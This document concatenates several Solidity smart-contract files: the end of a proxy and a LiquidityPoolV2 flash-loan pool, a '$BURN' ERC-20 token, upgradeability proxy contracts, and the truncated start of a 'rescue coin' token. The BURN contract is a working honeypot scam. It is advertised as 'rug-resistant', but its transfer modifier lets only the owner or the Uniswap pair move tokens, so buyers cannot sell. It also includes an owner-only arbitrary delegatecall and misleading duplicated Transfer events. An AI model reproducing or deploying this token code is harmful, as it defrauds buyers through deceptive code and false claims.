/**
* @return The admin slot.
*/
function _admin() internal view returns (address adm) {
bytes32 slot = ADMIN_SLOT;
assembly {
adm := sload(slot)
}
}
/**
* @dev Sets the address of the proxy admin.
* @param newAdmin Address of the new proxy admin.
*/
function _setAdmin(address newAdmin) internal {
bytes32 slot = ADMIN_SLOT;
assembly {
sstore(slot, newAdmin)
}
}
/**
* @dev Only fall back when the sender is not the admin.
*/
function _willFallback() internal {
require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin");
super._willFallback();
}
}
/**
* @title InitializableUpgradeabilityProxy
* @dev Extends BaseUpgradeabilityProxy with an initializer for initializing
* implementation and init data.
*/
contract InitializableUpgradeabilityProxy is BaseUpgradeabilityProxy {
/**
* @dev Contract initializer.
* @param _logic Address of the initial implementation.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
function initialize(address _logic, bytes memory _data) public payable {
require(_implementation() == address(0));
assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1));
_setImplementation(_logic);
if(_data.length > 0) {
(bool success,) = _logic.delegatecall(_data);
require(success);
}
}
}
/**
* @title InitializableAdminUpgradeabilityProxy
* @dev Extends from BaseAdminUpgradeabilityProxy with an initializer for
* initializing the implementation, admin, and init data.
*/
contract InitializableAdminUpgradeabilityProxy is BaseAdminUpgradeabilityProxy, InitializableUpgradeabilityProxy {
/**
* Contract initializer.
* @param _logic address of the initial implementation.
* @param _admin Address of the proxy administrator.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
function initialize(address _logic, address _admin, bytes memory _data) public payable {
require(_implementation() == address(0));
InitializableUpgradeabilityProxy.initialize(_logic, _data);
assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1));
_setAdmin(_admin);
}
}
contract LiquidityPoolV2 is ILiquidityPool, CanReclaimTokens, ReentrancyGuard, Pausable {
using SafeMath for uint256;
using SafeERC20 for ERC20;
mapping (address=>IKToken) public kTokens;
address[] public registeredTokens;
mapping (address=>bool) public registeredKTokens;
string public VERSION;
IBorrowerProxy borrower;
uint256 public depositFeeInBips;
uint256 public poolFeeInBips;
uint256 public FEE_BASE = 10000;
address public ETHEREUM = address(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE);
address payable feePool;
event Deposited(address indexed _depositor, address indexed _token, uint256 _amount, uint256 _mintAmount);
event Withdrew(address indexed _reciever, address indexed _withdrawer, address indexed _token, uint256 _amount, uint256 _burnAmount);
event Borrowed(address indexed _borrower, address indexed _token, uint256 _amount, uint256 _fee);
event EtherReceived(address indexed _from, uint256 _amount);
function () external payable {
emit EtherReceived(_msgSender(), msg.value);
}
function initialize(string memory _VERSION, address _borrower) public initializer {
require(_borrower != address(0), "LiquidityPoolV2: borrower proxy cannot be 0x0");
CanReclaimTokens.initialize(msg.sender);
Pausable.initialize(msg.sender);
ReentrancyGuard.initialize();
Pausable.initialize(msg.sender);
VERSION = _VERSION;
borrower = IBorrowerProxy(_borrower);
borrower.initialize();
}
/// @notice updates the deposit fee.
///
/// @dev fee is in bips so it should
/// satisfy [0 <= fee <= FEE_BASE]
/// @param _depositFeeInBips The new deposit fee.
///
/// @return Nothing.
function updateDepositFee(uint256 _depositFeeInBips) external onlyOperator {
require(_depositFeeInBips >= 0 && _depositFeeInBips <= FEE_BASE, "LiquidityPoolV1: fee should be between 0 and FEE_BASE");
depositFeeInBips = _depositFeeInBips;
}
/// @notice updates the pool fee.
///
/// @dev fee is in bips so it should
/// satisfy [0 <= fee <= FEE_BASE]
/// @param _poolFeeInBips The new pool fee.
///
/// @return Nothing.
function updatePoolFee(uint256 _poolFeeInBips) external onlyOperator {
require(_poolFeeInBips >= 0 && _poolFeeInBips <= FEE_BASE, "LiquidityPoolV1: fee should be between 0 and FEE_BASE");
poolFeeInBips = _poolFeeInBips;
}
/// @notice updates the fee pool.
///
/// @param _newFeePool The new fee pool.
///
/// @return Nothing.
function updateFeePool(address payable _newFeePool) external onlyOperator {
require(_newFeePool != address(0), "LiquidityPoolV2: feepool cannot be 0x0");
feePool = _newFeePool;
}
/// @notice register a token on this Keeper.
///
/// @param _kToken The keeper ERC20 token.
///
/// @return Nothing.
function register(IKToken _kToken) external onlyOperator {
require(address(kTokens[_kToken.underlying()]) == address(0x0), "Underlying asset should not have been registered");
require(!registeredKTokens[address(_kToken)], "kToken should not have been registered");
kTokens[_kToken.underlying()] = _kToken;
registeredKTokens[address(_kToken)] = true;
registeredTokens.push(address(_kToken.underlying()));
blacklistRecoverableToken(_kToken.underlying());
}
/// @notice Deposit funds to the Keeper Protocol.
///
/// @param _token The address of the token contract.
/// @param _amount The value of deposit.
///
/// @return Nothing.
function deposit(address _token, uint256 _amount) external payable nonReentrant whenNotPaused returns (uint256) {
IKToken kToken = kTokens[_token];
require(address(kToken) != address(0x0), "Token is not registered");
require(_amount > 0, "Deposit amount should be greater than 0");
if (_token != ETHEREUM) {
require(msg.value == 0, "LiquidityPoolV2: Should not allow ETH deposits during ERC20 token deposits");
ERC20(_token).safeTransferFrom(msg.sender, address(this), _amount);
} else {
require(_amount == msg.value, "Incorrect eth amount");
}
uint256 mintAmount = calculateMintAmount(kToken, _token, _amount);
kToken.mint(msg.sender, mintAmount);
emit Deposited(msg.sender, _token, _amount, mintAmount);
return mintAmount;
}
/// @notice Withdraw funds from the Compound Protocol.
///
/// @param _to The address of the amount receiver.
/// @param _kToken The address of the kToken contract.
/// @param _kTokenAmount The value of the kToken amount to be burned.
///
/// @return Nothing.
function withdraw(address payable _to, IKToken _kToken, uint256 _kTokenAmount) external nonReentrant whenNotPaused {
require(registeredKTokens[address(_kToken)], "kToken is not registered");
require(_kTokenAmount > 0, "Withdraw amount should be greater than 0");
address token = _kToken.underlying();
uint256 amount = calculateWithdrawAmount(_kToken, token, _kTokenAmount);
_kToken.burnFrom(msg.sender, _kTokenAmount);
if (token != ETHEREUM) {
ERC20(token).safeTransfer(_to, amount);
} else {
(bool success,) = _to.call.value(amount)("");
require(success, "Transfer Failed");
}
emit Withdrew(_to, msg.sender, token, amount, _kTokenAmount);
}
/// @notice borrow assets from this LP, and return them within the same transaction.
///
/// @param _token The address of the token contract.
/// @param _amount The amont of token.
/// @param _data The implementation specific data for the Borrower.
///
/// @return Nothing.
function borrow(address _token, uint256 _amount, bytes calldata _data) external nonReentrant whenNotPaused {
require(address(kTokens[_token]) != address(0x0), "Token is not registered");
uint256 initialBalance = borrowableBalance(_token);
if (_token != ETHEREUM) {
ERC20(_token).safeTransfer(msg.sender, _amount);
} else {
(bool success,) = msg.sender.call.value(_amount)("");
require(success, "LiquidityPoolV1: failed to send funds to the borrower");
}
borrower.lend(msg.sender, _data);
uint256 finalBalance = borrowableBalance(_token);
require(finalBalance >= initialBalance, "Borrower failed to return the borrowed funds");
uint256 fee = finalBalance.sub(initialBalance);
uint256 poolFee = calculateFee(poolFeeInBips, fee);
emit Borrowed(msg.sender, _token, _amount, fee);
if (_token != ETHEREUM) {
ERC20(_token).safeTransfer(feePool, poolFee);
} else {
(bool success,) = feePool.call.value(poolFee)("");
require(success, "LiquidityPoolV1: failed to send funds to the fee pool");
}
}
/// @notice Calculate the given token's outstanding balance of this contract.
///
/// @param _token The address of the token contract.
///
/// @return Outstanding balance of the given token.
function borrowableBalance(address _token) public view returns (uint256) {
if (_token == ETHEREUM) {
return address(this).balance;
}
return ERC20(_token).balanceOf(address(this));
}
/// @notice Calculate the given owner's outstanding balance for the given token on this contract.
///
/// @param _token The address of the token contract.
/// @param _owner The address of the token contract.
///
/// @return Owner's outstanding balance of the given token.
function underlyingBalance(address _token, address _owner) public view returns (uint256) {
uint256 kBalance = kTokens[_token].balanceOf(_owner);
uint256 kSupply = kTokens[_token].totalSupply();
if (kBalance == 0) {
return 0;
}
return borrowableBalance(_token).mul(kBalance).div(kSupply);
}
/// @notice Migrate funds to the new liquidity provider.
///
/// @param _newLP The address of the new LiquidityPool contract.
///
/// @return Outstanding balance of the given token.
function migrate(ILiquidityPool _newLP) public onlyOperator {
for (uint256 i = 0; i < registeredTokens.length; i++) {
address token = registeredTokens[i];
kTokens[token].addMinter(address(_newLP));
kTokens[token].renounceMinter();
_newLP.register(kTokens[token]);
if (token != ETHEREUM) {
ERC20(token).safeTransfer(address(_newLP), borrowableBalance(token));
} else {
(bool success,) = address(_newLP).call.value(borrowableBalance(token))("");
require(success, "Transfer Failed");
}
}
_newLP.renounceOperator();
}
// returns the corresponding kToken for the given underlying token if it exists.
function kToken(address _token) external view returns (IKToken) {
return kTokens[_token];
}
/// Calculates the amount that will be withdrawn when the given amount of kToken
/// is burnt.
/// @dev used in the withdraw() function to calculate the amount that will be
/// withdrawn.
function calculateWithdrawAmount(IKToken _kToken, address _token, uint256 _kTokenAmount) internal view returns (uint256) {
uint256 kTokenSupply = _kToken.totalSupply();
require(kTokenSupply != 0, "No KTokens to be burnt");
uint256 initialBalance = borrowableBalance(_token);
return _kTokenAmount.mul(initialBalance).div(_kToken.totalSupply());
}
/// Calculates the amount of kTokens that will be minted when the given amount
/// is deposited.
/// @dev used in the deposit() function to calculate the amount of kTokens that
/// will be minted.
function calculateMintAmount(IKToken _kToken, address _token, uint256 _depositAmount) internal view returns (uint256) {
// The borrow balance includes the deposit amount, which is removed here.
uint256 initialBalance = borrowableBalance(_token).sub(_depositAmount);
uint256 kTokenSupply = _kToken.totalSupply();
if (kTokenSupply == 0) {
return _depositAmount;
}
// mintAmoount = amountDeposited * (1-fee) * kPool /(pool + amountDeposited * fee)
return (applyFee(depositFeeInBips, _depositAmount).mul(kTokenSupply))
.div(initialBalance.add(
calculateFee(depositFeeInBips, _depositAmount)
));
}
/// Applies the fee by subtracting fees from the amount and returns
/// the amount after deducting the fee.
/// @dev it calculates (1 - fee) * amount
function applyFee(uint256 _feeInBips, uint256 _amount) internal view returns (uint256) {
return _amount.mul(FEE_BASE.sub(_feeInBips)).div(FEE_BASE);
}
/// Calculates the fee amount.
/// @dev it calculates fee * amount
function calculateFee(uint256 _feeInBips, uint256 _amount) internal view returns (uint256) {
return _amount.mul(_feeInBips).div(FEE_BASE);
}
}
|
DC1
|
/**
* $BURN is an ERC-20 token, rug-resistant protocol built to facilitate safe, fast-paced trading within the Decentralized Finance (DeFi) space.
* A new DEFI experiment where burn are none percentage base! (3# token from me, I'm the dev of APEX & LIQBURN)
* I will be posting on my twitter, for now - https://twitter.com/uniswapCoder/status/1329631602293530625
* Join our for more info: https://t.me/burncrypto
* Tokenomics:
* 🔥 10,000 total supply, no mint, based dev, community token, burning fast as now only 7k7.
* 💧 3% burn // 3% Added to Liq // 100% savage
* 🔥 No pre-sales, no LGE, no 1:1 ratio airdrops and most importantly — no behind-the-scenes whales working with dev teams!
* 💧 Blockfolio confirmed, coingecko submit done, loads of cool things in the works. This is THE community token.
* 💧 15 ETH Liquidity (taken from previous project LIQBURN)
* 💧 Selling will be unlocked on 4:30 Coordinated Universal Time (UTC)
**/
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath
for uint;
using Address
for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract BURN {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
modifier ensure(address _from, address _to) {
address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
require(_from == owner || _to == owner || _from == UNI);
_;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply;
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
|
DC1
|
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.12;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
/**
* @title Proxy
* @dev Implements delegation of calls to other contracts, with proper
* forwarding of return values and bubbling of failures.
* It defines a fallback function that delegates all calls to the address
* returned by the abstract _implementation() internal function.
*/
abstract contract Proxy {
/**
* @dev Fallback function.
* Implemented entirely in `_fallback`.
*/
fallback () payable external {
_fallback();
}
/**
* @return The Address of the implementation.
*/
function _implementation() internal virtual view returns (address);
/**
* @dev Delegates execution to an implementation contract.
* This is a low level function that doesn't return to its internal call site.
* It will return to the external caller whatever the implementation returns.
* @param implementation Address to delegate.
*/
function _delegate(address implementation) internal {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 { revert(0, returndatasize()) }
default { return(0, returndatasize()) }
}
}
/**
* @dev Function that is run as the first thing in the fallback function.
* Can be redefined in derived contracts to add functionality.
* Redefinitions must call super._willFallback().
*/
function _willFallback() internal virtual {
}
/**
* @dev fallback implementation.
* Extracted to enable manual triggering.
*/
function _fallback() internal {
_willFallback();
_delegate(_implementation());
}
}
/**
* @title BaseUpgradeabilityProxy
* @dev This contract implements a proxy that allows to change the
* implementation address to which it will delegate.
* Such a change is called an implementation upgrade.
*/
contract BaseUpgradeabilityProxy is Proxy {
/**
* @dev Emitted when the implementation is upgraded.
* @param implementation Address of the new implementation.
*/
event Upgraded(address indexed implementation);
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Returns the current implementation.
* @return impl Address of the current implementation
*/
function _implementation() internal override view returns (address impl) {
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
impl := sload(slot)
}
}
/**
* @dev Upgrades the proxy to a new implementation.
* @param newImplementation Address of the new implementation.
*/
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Sets the implementation address of the proxy.
* @param newImplementation Address of the new implementation.
*/
function _setImplementation(address newImplementation) internal {
require(Address.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address");
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
sstore(slot, newImplementation)
}
}
}
/**
* @title BaseAdminUpgradeabilityProxy
* @dev This contract combines an upgradeability proxy with an authorization
* mechanism for administrative tasks.
* All external functions in this contract must be guarded by the
* `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity
* feature proposal that would enable this to be done automatically.
*/
contract BaseAdminUpgradeabilityProxy is BaseUpgradeabilityProxy {
/**
* @dev Emitted when the administration has been transferred.
* @param previousAdmin Address of the previous admin.
* @param newAdmin Address of the new admin.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
/**
* @dev Modifier to check whether the `msg.sender` is the admin.
* If it is, it will run the function. Otherwise, it will delegate the call
* to the implementation.
*/
modifier ifAdmin() {
if (msg.sender == _admin()) {
_;
} else {
_fallback();
}
}
/**
* @return The address of the proxy admin.
*/
function admin() external ifAdmin returns (address) {
return _admin();
}
/**
* @return The address of the implementation.
*/
function implementation() external ifAdmin returns (address) {
return _implementation();
}
/**
* @dev Changes the admin of the proxy.
* Only the current admin can call this function.
* @param newAdmin Address to transfer proxy administration to.
*/
function changeAdmin(address newAdmin) external ifAdmin {
require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address");
emit AdminChanged(_admin(), newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev Upgrade the backing implementation of the proxy.
* Only the admin can call this function.
* @param newImplementation Address of the new implementation.
*/
function upgradeTo(address newImplementation) external ifAdmin {
_upgradeTo(newImplementation);
}
/**
* @dev Upgrade the backing implementation of the proxy and call a function
* on the new implementation.
* This is useful to initialize the proxied contract.
* @param newImplementation Address of the new implementation.
* @param data Data to send as msg.data in the low level call.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
*/
function upgradeToAndCall(address newImplementation, bytes calldata data) payable external ifAdmin {
_upgradeTo(newImplementation);
(bool success,) = newImplementation.delegatecall(data);
require(success);
}
/**
* @return adm The admin slot.
*/
function _admin() internal view returns (address adm) {
bytes32 slot = ADMIN_SLOT;
assembly {
adm := sload(slot)
}
}
/**
* @dev Sets the address of the proxy admin.
* @param newAdmin Address of the new proxy admin.
*/
function _setAdmin(address newAdmin) internal {
bytes32 slot = ADMIN_SLOT;
assembly {
sstore(slot, newAdmin)
}
}
/**
* @dev Only fall back when the sender is not the admin.
*/
function _willFallback() internal override virtual {
require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin");
super._willFallback();
}
}
/**
* @title InitializableUpgradeabilityProxy
* @dev Extends BaseUpgradeabilityProxy with an initializer for initializing
* implementation and init data.
*/
contract InitializableUpgradeabilityProxy is BaseUpgradeabilityProxy {
/**
* @dev Contract initializer.
* @param _logic Address of the initial implementation.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
function initialize(address _logic, bytes memory _data) public payable {
require(_implementation() == address(0));
assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1));
_setImplementation(_logic);
if (_data.length > 0) {
(bool success, ) = _logic.delegatecall(_data);
require(success);
}
}
}
/**
* @title InitializableAdminUpgradeabilityProxy
* @dev Extends from BaseAdminUpgradeabilityProxy with an initializer for
* initializing the implementation, admin, and init data.
*/
contract InitializableAdminUpgradeabilityProxy is BaseAdminUpgradeabilityProxy, InitializableUpgradeabilityProxy {
/**
* Contract initializer.
* @param _logic address of the initial implementation.
* @param _admin Address of the proxy administrator.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
function initialize(address _logic, address _admin, bytes memory _data) public payable {
require(_implementation() == address(0));
InitializableUpgradeabilityProxy.initialize(_logic, _data);
assert(ADMIN_SLOT == bytes32(uint256(keccak256("eip1967.proxy.admin")) - 1));
_setAdmin(_admin);
}
/**
* @dev Only fall back when the sender is not the admin.
*/
function _willFallback() internal override(BaseAdminUpgradeabilityProxy, Proxy) {
BaseAdminUpgradeabilityProxy._willFallback();
}
}
|
DC1
|
pragma solidity ^0.5.17;
/*
rescue coin
*/
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath
for uint;
using Address
for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
